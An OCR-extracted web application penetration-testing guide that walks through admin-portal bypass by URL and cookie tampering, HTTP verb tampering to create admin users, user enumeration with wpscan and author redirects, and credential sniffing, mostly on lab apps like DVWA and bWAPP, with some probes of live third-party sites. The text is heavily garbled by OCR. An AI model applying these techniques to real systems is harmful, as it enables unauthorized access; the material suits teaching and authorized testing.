26 http://192.168.222.136 GET Iwordpress/wp-admin/iist-manipulation js 304 359 script s 192.168.222.136 |
<« P T
Request | Response
Raw | Headers | Hex | HTML Tw ]

Broken WordPress wiewsie»

Dashboard|

Alternative Server Port - Administration interfaces may be seen on a different port on the host than
the main application. For example, Apache Tomcat's Administration interface can often be seen on

port 8080.



2> C | ® www.tzg-infocenter.com:8

Home Documentation Configuration Examples Wiki Mailing Lists Find Help

Apache Tomcat/7.0.73 Wpache Software Foundation
% http://www.apache.org/

™  Recommended Reading: Server Status

Security Considerations HOW-TO
Manager App
/‘k Manager Application HOW-TO Ml
Clustering/Session Replication HOW-TO Host Manager

Developer Quick Start

Servlet Specifications

Tomcat Setup Realms & AAA Examples
First Web Application JDBC DataSources Tomcat Versions

& C | ® www.tzg-infocenter.com

1 Un zed

You are not authorized to view this page. If you have not changed any configuration files, please examine the file iconf/tomcat-users .xml! in your installation. That file must contain the credentials to let you use this webapp.

For example, to add the manager- gui RTINS R B T Y

<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>

Note that for Tomcat 7 onwards, the roles required to use the manager application were changed from the single %nanag‘e'r‘ role to the following four roles. You will need to assign the role(s) required for the functionality you wist

manager-gui: - allows access to the HTML GUI and the status pages

pt: - allows access to the text interface and the status pages
manage x: - allows access to the JMX proxy and the status pages
manager-status - allows access to the status pages only

The HTML interface is protected against CSRF but the text and JMX interfaces are not. To maintain the CSRF protection:

« Users with the manager-gui! role should not be granted either the manager-script or manager-jmx roles.
« If the text or jmx interfaces are accessed through a browser (e.q. for testing since these interfaces are intended for tools not humans) then the browser must be closed afterwards to terminate the session.

For more information - please see the Manager App HOW-TO.

Parameter Tampering - A GET or POST parameter or a cookie variable may be required to enable

the administrator functionality.

C @ ® 192.168.222.153/bWAPP/smgmt_admin_portal.php?

C—\
=

an ex+r‘emely Iouagy web app |

Chanae Password Create User Set Secur‘i’r\/ Level Reset Credits Blog

/ Session Mgmt. - Administrative Portals /

This page is locked.

HINT: check the URL



)

cC ® @ 192.168.222.153/bWAPP/smgmt_admin_portal.php? Rl v ee

an ex+remely buaay web app |

g5 Chan@e Password Create User Set Securi+y Level Reset Credits Bloa

/ Session Maer. - Administrative Portas /

Cowabunga

You unlocked this page using an URL manipulation.

408 http://192.168.222.153 GET IbWAPP/smgmt_admin_portal.php 200 13430 HTML php
409 http://192.168.222.153 GET IbWAPP/js/htmiS.js 304 240 script s
ELS
Request I Response
_[ Raw T Params T Headers | Hex
GET /bWAPP/smgmt_admin portal.php HTTP/L1l.1
Host: 192.168.222.153
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&é4; x€4; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+txml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222. 153/bWAPP/sngut_adnin_portal.php
Cookie: PHPSESSID=bffS55cEdd237cEb76a7592ce5a30e60c; security level=l; admin=0
Connection: close
Upgrade-Insecure-Recquests: 1
Cache-Control: max-age=0
‘ 408 http://192.168.222.153 GET /bWAPP/smgmt_admin_portal.php 200 13430 HTML php
%OQK http://192.168.222.153 GET IbWAPP/js/htmiS.js 304 240 script s
-«

Response
[ Raw T Headers | Hex [ HTML IRender ]

Session Mgmt. - Administrative
Portals

This page is locked.

HINT: check the cookies...



-t Target: http://192.168.222.153 |.#| Ll'

Reque Response

Raw | Params | Headers | Hex | [Raw | Headers | Hex | L | Render

GET /LWAPP/smgut_admin_portal.php HITP/L.1 a N

Host: 192.168.222.153
gent /5.0 (Windows NT 10.0; Winéd; xE4; rv:58.0)
0

Session Mgmt. - Administrative
Portals

Cowabunga

You unlocked this page using a cookie manipulation

@MME IT
'y training

(2 =) o) [y [T te 0 matches = "

T

6. Test HTTP Methods

HTTP offers a number of methods that can be used to perform actions on the web server. Many of
theses methods are designed to aid developers in deploying and testing HTTP applications.

While GET and POST are by far the most common methods that are used to access information
provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and
somewhat less known) methods:

e HEAD

e GET

e POST

e PUT

e DELETE

e TRACE

e OPTIONS
e CONNECT

Some of these methods can potentially pose a security risk for a web application, as they allow an
attacker to modify the files stored on the web server and, in some scenarios, steal the credentials
of legitimate users. More specifically, the methods that should be disabled are the following:

e PUT: This method allows a client to upload new files on the web server. An attacker can exploit it
by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by
simply using the victim server as a file repository

e DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it
as a very simple and direct way to deface a web site or to mount a DoS attack

e CONNECT: This method could allow a client to use the web server as a proxy

o TRACE: This method simply echoes back to the client whatever string has been sent to the



server, and is used mainly for debugging purposes.



Black Box Testing

Discover the Supported Methods

Go c - Target: http:/192.168.222.136 | £ | 2]

Reques Response

; Raw | Headers Hex] Raw | Headers m

OPTIONS // HTTP/1.1 A HTTP/1.1 200 OK A
Host: 192.168.222.136 Date: Mon, 12 Feb 2018 09:46:17 GMT
Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/Z.6.5 mod_ssl/2.2.14
OpenSSL/0.9.8k Pl\usi\:n_Pas&enqer/-i,0,38 de_perl/:,D,-l Perl/v5.10.1
Allow: GET,HEAD,POST,OPTICNS,TRACE|
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html
Test XST Potential
Request Respons
TRACE / HTTP/1.1 A HTTP/1.1 200 OK A
Host: 192.168.222.136 Date: Mon, 12 Feb 2018 10:06:58 GMT
Cookie: Manh Server: Apache/Z.2.14 (Ubuntu) mod_mono/2.4.3 PHP/S5.3.Z-lubuntu4.30 with

Suhosin-Patch proxy_html/3. mod_pythen/3.3.1 Python/2.6.5 mod_ss1/2.2.14
0penSSL/0.9.8)k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/vSs.10.1
Content-Type: message/http

Content-Length: §7

[TRACE / HTTP/1.1
Host: 192.1€8.222.136
Cookie: Manh

Find a page you'd like to visit that has a security constraint such that it would normally force a 302
redirect to a login page or forces a login directly. The test URL in this example works like this -
as do many web applications. However, if you obtain a "200" response that is not a login page, it
is possible to bypass authentication and thus authorization.

www.example.com 80 JEFF / HTTP/1.1 Host:

www.example.com HTTP/1.1 200 OK

Date: Mon, 18 Aug 2008 22:38:40 GMT

Server: Apache

Set-Cookie: PHPSESSID=K53QW...

If your framework or firewall or application does not support the "JEFF" method, it should issue
an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services
the request, it is vulnerable to this issue.

If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue
more fully:

e FOOBAR /admin/createUser.php?member=myAdmin



e JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
e CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add
e HEAD /admin/createUser.php?member=myAdmin



With some luck, using the above three commands - modified to suit the application under test and testing
requirements - a new user would be created, a password assigned, and made an admin.

7. Test HTTP Strict Transport Security

The HTTP Strict Transport Security (HSTS) header is a mechanism that web sites have to
communicate to the web browsers that all traffic exchanged with a given domain must always be
sent over https.

Considering the importance of this security measure it is important to verify that the web site is
using this HTTP header, in order to ensure that all the data travels encrypted from the web
browser to the server.

The HTTP Strict Transport Security (HSTS) feature lets a web application to inform the browser,
through the use of a special response header, that it should never establish a connection to the
specified domain servers using HTTP. Instead it should automatically establish all connection
requests to access the site through HTTPS.

The HTTP strict transport security header uses two directives:

e max-age: to indicate the number of seconds that the browser should automatically convert all
HTTP requests to HTTPS.
e includeSubDomains: to indicate that all web application’s sub-domains must use HTTPS.

Here's an example of the HSTS header implementation:

Strict-Transport-Security: max-age=60000; includeSubDomains

The use of this header by web applications must be checked to find if the following security
issues could be produced:

e Attackers sniffing the network traffic and accessing the information transferred through an
unencrypted channel.

©®© dm O xo Qe» 075 8¢ EH aaalf @MME

Filter: http.request.method == "POST" Expression... Clear Apply Save
No . Time Source Destination Protocol Length Info
125 6.747664000 192.168.222.129 192.168.222.136 HTTP 671 POST /dvwa/login.f

» Frame 125: 671 bytes on wire (5368 bits), 671 bytes captured (5368 bits) on interface O

» Ethernet II, Src: Vmware_f4:f3:27 (00:0c:29:f4:f3:27), Dst: Vmware_8f:ca:00 (00:0c:29:8f:ca:00)
» Internet Protocol Version 4, Src: 192.168.222.129 (192.168.222.129), Dst: 192.168.222.136 (192.16
» Transmission Control Protocol, Src Port: 39248 (39248), Dst Port: 80 (80), Seq: 952, Ack: 1816, L
» Hypertext Transfer Protocol
v HTML Form URL Encoded: application/x-www-form-urlencoded

» Form item: "username" = "admin"

» Form item: "password" = "admin"

» Form item: "Login" = "Login"




Attackers exploiting a man in the middle attack because of the problem of accepting certificates
that are not trusted.

Users who mistakenly entered an address in the browserputting HTTP instead of HTTPS, or
users who click on a link in a web application which mistakenly indicated the http protocol.



[+] Analyzing HTTP header of https://google-gruyere.appspot.com/6635785984805
07596515913541187634548560/10gin

o o o o ok 0 o o o o o o e o e o o o ok

[I] Server: Google Frontend
[V] Server does not enforce HTTP Strict-Transport-Security.[Value: Missing]

Randomizing 255 hosts for scanning.
Scanning S

jed to the hosts 1
Starting Unified sniffing.

Text only Interface activated,
Hit 'h* for inline help

HTTP : 172.2 24.52:80 -> USER: ] PASS: admin INFO: http://google-gruyere
appspot.com/ 4849719268359487 15316604991514356/10gin

HTTP : 74.125.130,153:80 -> USER: admin PASS: admin INFO: /3674849719268359487
67215316604991514356/10gin?uid=admin&pw=admin

How to test

e | have wrote a tool which can analyze header, contact to me to get this tool for free.

e Burpsuite response



551 https://www.facebook.com POST lajax/bz v 200
~

l Request I Response ]

[Row | teaders | ex |

HTTP/1.1 200 OK
¥-Frame-Options: DENY

content-security-policy: default-src * data: blob:;script-src *.  facebook.com *. fbecdn.net *_f
*.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akkamaihd.net fbeocdn-static-b-a.ak
*;connect-src *. facebook.com facebook.com *. fbhedn.net *. facebook.net *_spotilocal.com:* *_ak

attachment . fhshx.con ws://localhost:* blob: *.cdninstagram.com 'self';
K-X55-Protection: 0

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://www. facebook.con
Access-Control-Expose-Headers: X-FB-Debug, X-Loader-Length
Pragma: no-cache

Vary: Origin

Access-Control-Allow-Methods: OPTIONS
Strict-Transport-Security: max-age=15552000; preload
Content-Type: application/x-javascript; charset=utf-8
K-Content-Type-Options: nosniff

Expires: Sat, 01 Jan 2000 00:00:00 GMT

Cache-Control: private, no-cache, no-store, must-revalidate

8. Test RIA cross domain policy

RIAs are web-based services that perform the same functions as desktop application systems.

A cross-domain policy file specifies the permissions that a web client such as Java, Adobe Flash,
Adobe Reader, etc. use to access data across different domains. For Silverlight, Microsoft
adopted a subset of the Adobe's crossdomain.xml, and additionally created it's own cross-domain
policy file: clientaccesspolicy.xml.

Whenever a web client detects that a resource has to be requested from other domain, it will first
look for a policyfile in the target domain to determine if performing cross-domain requests,
including headers, and socket-based connections are allowed.

Master policy files are located at the domain's root. A client may be instructed to load a different
policy file but it will always check the master policy file first to ensure that the master policy file
permits the requested policy file.

How to Test

We should try to retrieve the policy files crossdomain.xml and clientaccesspolicy.xml from the
application’s root and from every folder found.



(€)—> C ‘0 ® testphp.vulnweb.com/crossdomain.xml

This XML file does not appear to have any style information associated with it. The document tree 1s shown below.

— <cross-domain-policy>
<allow-access-from domain="*" to-ports="*" secure="false"/>

</cross-domain-policy>

After retrieving all the policy files, the permissions allowed should be checked under the least
privilege principle. Requests should only come from the domains, ports, or protocols that are
necessary. Overly permissive policies should be avoided. Policies with "*" in them should be

closely examined.

3. Flash cross-domain policy

g - Y g Y
( Previous ) ( Next )
S——— N—

Summary
Severity: High
Confidence: Certain

Host: http://testphp.vulnweb.com
Path: Icrossdomain.xml
Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.



Request

GET /crossdomain.xml HTTP/1.1
Host: testphp.vulnweb.com
Connection: close

Response

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Thu, 01 Feb 2018 09:40:41 GMT
Content-Type: text/xml

Content-Length: 224

Last-Modified: Tue, 11 Sep 2012 10:30:22 GMT
Connection: close

ETag: "504f12be-e0"

Accept-Ranges: bytes

<?xml version="1.0"?>

<IDOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>

<allow-access-from domain="*" to-ports="*" secure="false"/>

..[SNIP]...




Identity Management Testing

1. Test Role Definition

Test objectives

Validate the system roles defined within the application sufficiently define and separate each
system and business role to manage appropriate access to system function and information

How to test

Either with or without the help of the system dev or admin, develop an role versus permission
matrix. The matrix will show and enumerate all the roles that can be provisioned and explore the
permissions that are allowed to be applied to the objects including any constraints.

Example
In real world, I have pentested many wordpress site, example of role definitions in wordpress
can be found at shown below link

e  https://codex.wordpress.org/Roles_and_Capabilities

Tools

®  You can approach this problem by manual test
e Spidering tools (Burp Suite) — Log on with each role in turn and spider the application (don’t
forget to exclude the logout button/link from the spidering)
With admin account, using spider option we have this below result and save this state to file



Burp Intruder Repeater Window Help

_[TargetT Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAlerts ]

Site map | Scope

I Fitter: Hiding not found items; hiding CSS, image and general binary content; hidin|

Save state wizard

¥ [ @ hitp://192.168.222.136
¥ [Te wordpress
LRCN
> @ index.php
» [ index.php
[" @ wp-admin
>3 wp-comments-post.php
» [ wp-content
» [ wp-includes
> Q wp-login.php
> @ wp-register.php
> @ wp-trackback.php
> @ xmirpc.php
[ wordpress

w Select the output file to which Burp's state will be saved.

Contents
Host | Selectfie ... |
http://192.168.2

Look In: ﬁdemofolder v @ [ﬁJ

ﬁ tools

[ csrfhtmi

File Name:

I admin_accounﬂ

Files of Type: | Al Files

&

=3

" Last-Modifi

Cache-Contr
Pragma: no-
Vary: Accep
Content-Len,

Foammantian-

With normal user account, we also use spider option and get following result

J Target I Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIerts ]

IShnup I Scope

Fitter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

vie r1ttp://192.163.222136 Contents
@ wordpress

oY Host Method | URL | Params | Status 4 | Length

» {3 index.php hitp://192.168.222.136 GET Iwordpress/ 200 7359 |A

» e wp-admin hitp://192.168.222.136 GET Iwordpress/?cat=1 v 200 7233

» i3 wp-comments-post.php http://192.168.222.136 GET Iwordpress/?feed=atom v 200 2665

» [ wp-content http://192.168.222.136 GET Iwordpress/?feed=com... v 200 1668

» [ wp-includes http://192.168.222.136 GET Iwordpress/?feed=rss v 200 1464

» i3 wp-login.php hitp://192.168.222.136 GET Iwordpress/?feed=rss2 v 200 2653

» {3 wp-register.php http://192.168.222.136 GET Iwordpress/?feed=rss2... v 200 1646

» {3 wp-trackback.php hitp://192.168.222.136 GET /wordpress/?feed=rss2... v 200 753

» & xmirpc.php http://192.168.222.136 GET Iwordpress/?feed=rss2... v 200 1016

[@ wordpress hitp://192.168.222.136 GET /wordpress/?m=200909 v 200 6510 v
oo concee e o R R 7 e

Finally, use compare function to comparing two site map we’ve got




W Compare site maps

L’J | Fitter: Showing all tems

- m} X

|[ZJ Key: |B8igied] Added @ Sync selection

Map 1
[~ wp-admin A| | Host | Method | URL 4 _I Request I Response ]
Dy ) http//192.168.222.136  GET Iwordpress/wp-admin/ | &
[ categories.php hitp://192.168.222.136  GET Iwordpress/wp-admin/c... Raw | Params T Headers | Hex
L edit-comments.php http:/i192168222.136  GET  /wordpressiwp-admin/e.../ GET /wordpress/wp-admin/ T
[E edtphp 92168222136 GET infe..| ||HTTP/1.1
L images http://192.168.222.136 GET Iwordpress/wp-adminfim.| | Host: 192.168.222.13&
L indexphp http:/1192.168222.136  GET Iwordpress/wp-admin/im. :"‘;:Pt‘x"“dm‘ﬁ gzip,
L ink-add.php hitp://192.168.222.136  GET Iwordpressiwp-adminim.fe | SSELEEE o [v
[S) list-manipulation.js L 11192.168.222.1 ingim..| ¥ —_— —_—
> ® poston - | hipur19z.168. .Wmm&m;g} 2 1< 1(=1(> 12 highlights
Map 2
[~ wp-admin [4] [Host | Method | URL 4 J Request I Response ]
br L http://192.168.222.136  GET Iwordpress/wp-admin/ | A
: g “t"““"’!“’ A http://192.168.222.136  GET Iwordpress/wp-admin/a... Raw | Params | Headers | Hex
- categories.pnp . http://192.168.222.136 GET iwordpress/wp-admin/a..._/| GET /wordpress/wp-admin/ [a
-4 edit-comments.php http://192.168.222.136  GET Iwordpress/wp-admin/a...| | HTTP/1.1
> & edit-pages.php http://192.168.222.136 GET Iwordpress/wp-admin/a...| | Host: 182.1€8.222.136
:[Cf :g"-”'“’ http://192.168.222.136 GET Iwordpress/wp-admin/a... ‘:':?‘;A‘Je";; ‘:;z;“:( 5;
p: . - indows U and ;
> & images htp//192168222.13  POST  Iwordpressiwp-admina..| || iRCCeE (R 0L BRI
D) import.ph hitp://192.168.222.136 GET Iwordpress/wp-admin/a... Firefox/58.0
0 impo -‘Lp http://192.168.222.136 GET Iwordpress/wp-admin/a...| | Accept:
- :Fiex; ph http://192.168.222.136 POST Iwordpress/wp-admin/a.... text/html, application/xhtml+x
nk-acd.php http://192.168.222.136 GET Iwordpress/wp-admin/a...| | ml,application/xml;q=0.9,*/*;
: g :!“:'_"a‘ei”':&php http://192.168.222.136  POST  Iwordpress/wp-admin/a..f | 9=0-8 |
ink-import.php hitp://192.168.222.136 GET Iwordpress/wp-adminfa,. | ¥ | oosntsTEmeascss
> link-manager.ph| ? ighli
9 i ager.php v [ ) - ? < |[+]|]> 10 highlights

[ Change options J [ Close J

2. Test User Registration Process

Test Objectives

o Verify that the identity requirements for user registration are aligned with business and security
requirements

e Validate the registration process

How to Test

Test list

e Determine who can register for access (anyone)?

e Are registrations are vetted by a human prior to provisioning or are they automatically granted if
the criteria are met.

e Can the same person register multiple times?

e (Can user register for different roles or permissions?

e  What proof of identity is required for a registration to be successful?

e Are registered identities verified?

e Can identity information be easily forged or faked?

e Can the exchange of identity information be manipulated during registration process?




Tools



e Manual test
e HTTP proxy (Burp Suite, ZAP)

Example

In the wordpress example below, the only identification requirement is an email address that is
accessible to the registrant.

® 192.168.222.136/wordpress/wp-register.php

@WORDPRESS
Register for this blog

Username:
E-mail:

A password will be emailed to you.

Register »

« Back to blog  Login  Lost your password?

In the Google example below, the identification requirements include name, date of birth,
country, mobile phone number and two of the can be verified (Email and mobile phone number).



@ Secure | https://accounts.google.com/SignUp?hl=en

3. Test Account Provisioning Process

Test Objective

Verify which account may provision other account and of

what type How to test

Test List

Name

Choose your username

| prefer to use my current email address

Create a password

Confirm your password

Birthday

Month

4

Gender

lam... =

Mobile phone
El - +84

Your current email address

Location

O

Vietnam (Viét Nam)

o I[s there any verification, vetting and authorization of provisioning requests?

o I[s there any verification, vetting and authorization of de-provisioning requests?

e (Can an administrator provision other administrators or just users?

e Can an administrator or other user provision accounts with privileges greater than their own?

Can an administrator or user de-provision themselves?

o How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is

access transferred

Example



In WordPress, only a user’s name and email address are required to provision the user, as shown below



Cc ® ® # 192.168.222.136/wordpress/wp-admin/users.php oo @ 17| | Q Search [\

Update »

Add New User
Users can register themselves or you can [gEGUELNRGEETERTTEN 7N

Nickname
First Name
Last Name

E-mail

Website

Password (twice)

Add User »

De-provisioning of users requires the admin to select the user to be de-provisioned, select delete
from the dropdown menu and applying this action. The administrator is then presented with a
dialog box asking what to do with the de-provisioning user’s post (delete or transfer them).

User List by Role

Administrator

D Username Name E-mail Website Posts
O admin admin@example.org 2 Edit
Subscriber

D Username Name E-mail Website Posts
Os 555-555-0199@example.com winter@example.com ) Edit
4 abc abc@abc.com 0 Edit
O2 user Administrator user@example.org 0 Edit

Editor

Update Users AEi

Contributor

® Delete checked users. Subscriber

O Set the Role of checked users to:  Administrator

Delete Users

You have specified these users for deletion:
® ID #4: abc
What should be done with posts and links owned by this user?
@ Delete all posts and links.

O Attribute all posts and links to:  555-555-0199@example.com |~

Confirm Deletion



4. Testing for Account Enumeration and Guessable User Account

Black box Testing

In this case, the tester knows nothing about the specific application, username, application logic,
error messages on log in page, or password recovery facilities. If application is vulnerable, the
tester receives a response message that reveals, directly or indirectly, some information useful for
enumerating users.

HTTP Response message

o Test for valid user with wrong password

@WORDPRESS

Error: Incorrect password.

Username:

admin

Password:

[J Remember me

POST /wordpress/wp-login.php HTTP/1.1

Host: 192.168.222.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+txml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 59

Cookie: acopendivids=swingset,b jotto,phpbbl,rednine; acgroupswithpersist=nada; PHPSESSID=n38qhliueo73ab95aesrubpli3Z
Connection: close

Upgrade-Insecure-Requests: 1

log=aduinépwd=lesubnit=Logint$C2%BB&redirect_to=wp-adminilF

e Test for a nonexistent username



@WORDPRESS

Error: Wrong username.

Username:

a0aoaoao

Password:

Another way to enumerate users

e Analyzing the error code received on login page

vw.zotero.org/admin oo 9 ﬁ O\ Search

zotero

l Home Groups People Documentation Forums Get Involved

Home > People > admin

admin Following (0)

admin is not following anyone.

Followers (0)

admin has no followers.

Groups

Request | Response ]
J Raw T Headers T Hex T HTML T Render ]

HTTP/1.1 200 OK

Date: Mon, 25 Dec 2017 08:28:34 GMT

Server: Apache/Z.4.27 (Amazon)

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

X-Frame-Options: SAMEORIGIN

Vary: Accept-Encoding

Content-Length: 125862

Connection: close

Content-Type: text/html; charset=UTF-8
Strict-Transport-Security: max-age=3153€000; includeSubDomains; preload




@ @& https://www.zotero.org/admin1111

zotero

l Home Groups People Documentation Forums Get Involved

Home > Error

Error

Page Not Found

The page you were looking for could not be found

Request | Response ]

_[Raw T Headers T Hex T HTML T Render ]

HTTP/1.1 404 Not Found

Date: Mon, 25 Dec 2017 08:259:40 GMT

Server: Apache/Z.4.27 (Amazon)

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

X-Frame-Options: SAMEORIGIN

Vary: Accept-Encoding

Content-Length: 927&

Connection: close

Content-Type: text/html; charset=UTF-8
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Analyzing URLs and URLs re-directions

Go Cancel < |v >y Follow redirection Target: http://923theeagle.com ww

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

FET /?author=1 HTTP/1.1 |a HTTP/1.1 301 Moved Permanently

Host: 923theeagle.com Date: Fri, 23 Feb 2018 03:26:51 GHT

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x64; rv:58.0) Gecko/20100101 Firefox/$8.0 Server: Apache

Accept: text/html,application/xhtmlixml,application/xml;q=0.9,%/%;q=0.8 Location: http://923theeagle.com/author/lwbqrqiqum/
Accept-Language: en-GB,en;q=0.5 Connection: close

Accept-Encoding: gzip, deflate Content-Type: text/html; charset=UTF-8

Connection: close Content-Length: 0
Upgrade-Insecure-Requests: 1




Request Response

Raw | Headers | Hex Raw | Headers | Hex | HTML | Render

GET /author/lwbqroiquw/ HTTP/1 1

z |
Host: S23theeagle.com r
User-Agent: Mozilla/$.0 (Windows NT 10.0; Wing4; xE4; rv:5$8.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xnl,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-GB,en;q=0.5§
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
o Home
o tRequests
o Metro Fair
« Concerts
« Contact
LwbqrQIqww
Home/LwbgrQIgww
About LwbqrQIqww
This author has not yet filled in any details.
" So far LwbqrQIqww has created 1 blog entries.

Go Cancel Silwa| [ Target: http://923theeagle.com

Request

Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /?author=2 HTTP/1.1 [a HTTP/1.1 404 Not Found
Host: 923theeagle.com Date: Fri, 23 Feb 2018 03:28:07 GHT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4; rv:58.0) Gecko/20100101 Firefox/58.0 Server: Apache
Accept: text/html,application/xhtmltxml,application/xml;q=0.9,%/*;q=0.8 Expires: Wed, 11 Jan 1984 05:00:00 GMT
Accept-Language: en-GB,en;q=0.5 Cache-Control: no-cache, must-revalidate, max-age=0
Accept-Encoding: gzip, deflate Link: <http://923theeagle.com/wp-json/>; rel="https://api.w.org/"

Connection: close
Upgrade-Insecure-Requests: 1

Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 17824

Analyzing a message received from a another authentication function (recovery, reset pass, register)

e Reset password function example

POST /Account/ResetPassword HTTP/1.1

Host: hackyourselffirst_ troyhunt.conm

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:57.0) Gecko/Z0100101 Firefox/57.0
Accept: text/html,application/xhtml+xml, application/xnl;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;qgq=0.5

Accept-Encoding: gzip, deflate

Peferer: http://hackyourselffirst.troyhunt.con/Account/ResetPassword

Content-Type: application/x-www-form-urlencoded

Content-Length: 35

Cookie: _ga=GAl.2.487883853.1513329564; ASP.NET_Sessionld=wk4bdzSteStnplt33lzwgtpv; VisitStan
ARPAffinity=66555a772cedéd74£4dafscd9290£fbe0clc05dE0h593e8£fE6EL4d24d12E09a0£2; _gid=GALl.2.1005
Connection: close

Upgrade-Insecure-Recquests: 1

Email=aaaaaaaaaaaaaaaaa¥40gmail.con



| Reauest | Response |
[ Raw | Headers | Hex | HTML | Render |

Supercar showdown

e Leaderboard

e Register
e Login

| |

Reset password.

e The specified user does not exist.
Enter your email address to reset.
Email

la@gmail.com

Guessing Users

In some cases the user IDs are created with specific policies of administration or company, such as:

Welcome to FPT internal home page

510
Iis
Z2i3
o]

W
a

—
=
=
@]
2

T
i
Il
Il
Il
Il
1l
i
i
1l
1l
i
1l
i
i
i
Il
i
1l
Il
1l
i
1l
i
1l
il
1l
i
T

Contact Us

Tools:



e Manual test
e Automate tools such as: WordPress enumeration username tools like wpscan



root@ilak:~# wpscan -u 192.168.222.136/wordpress -e u

XA el
] LX AR L ®
NN | )
AUSUENLE |
NEE XS |

WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri - https://sucuri.net
@ WPScan , @ethicalhack3r, @erwan lr, pvdl, @ FireFart

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]Jo [A]lbort, default: [N]Y
[i] Updating the Database ...

[i] Update completed.

[+] URL: http://192.168.222.136/wordpress/

Enumerating usernames
Identified the following 1 user/s:

[!] Default first WordPress username 'admin' is still used

Authentication Testing

1. Testing for Credentials Transported over an Encrypted Channel

Black Box Testing

In the following examples we will use Burp Suite to capture packet headers and to inspect

the them Example 1: Sending data with GET/POST method through HTTP

Suppose that the login page presents a form with field User, Pass, and the Submit button to
authenticate and give access to application.




1077 [ http//192.168.222.136 GET Imutilidaefindex php?page=user-info.ph.. v 200 53317 HTML php
-«

(oot Respone |
J Raw I Params THeaders m

GET /mutillidae/index.php?pag -info.pk =a&p & -info-php-submit-button=ViewtAccount+Details HTTP/1.1
Host: 192.168. .13e

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:58.0) Gecko/Z0100101 Firefox/58.0

Accept: text/html, application/xhtml+txml, application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.222.136/mutillidae/index.php?page=user-info.php

Cookie: showhints=1; dbx-postmeta=grabit=0-,1-,2-,3-,4-,65-,6-sadvancedstuff=0-,1-,2-; acopendivids=swingset,jotto,phpbb2,reduine; acgroupswithpersist=nada;
PHPSESSID=421483ateqrqconcmnvgsufgo?

Connection: close

Upgrade-Insecure-Requests: 1

LZJ EJ EJ B Type a search term

1022 hitp:/192.168.222.136 Idvwallogin.php J 302 553 HTML php
-« )

Request | Response
_[ Raw I Params I Headers | Hex

POST /dvwa/login.php HTTP/L.1

Host: 19Z7.1€8. .136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtmltxml,application/xml;q=0.9,*/*;¢q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.222.136/dvwa/login. php

Content-Type: application/x-www-form-urlencoded

Content-Length: 41

Cookie: security=low; dbx-postmeta=grabit=0-,61-,2-,63-,4-,65- E-cadvancedstuff=0-,1-,2-; acopendivids=swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada;
PHPSESSID=421483ateqrqeomcnnvgsufgol

Connection: close

Upgrade-Insecure-Requests: 1

username=adminépassword=adminéLogin=Login

So the data is transmitted without encryption and a malicious user could intercept the username
and password by simple sniffing the network with a tool like Wireshark

’I [http.request‘method =="GET" '] Expression..  +

No. Time Source Destination Protocol Length Info

H 174 9.324316832 192.168.222.148 192.168.222.136 HTTP illidae/index.php?page=user-info.php&username=a&password=a&u
190 9.457175673 192.168.222.148 192.168.222.136 HTTP 731 GFT /mutillidae/stvles/alobal-stvles.css HTTP/1.1

Frame 174: 644 bytes on wire (5152 bits), 644 bytes captured (5152 bits) on interface ©
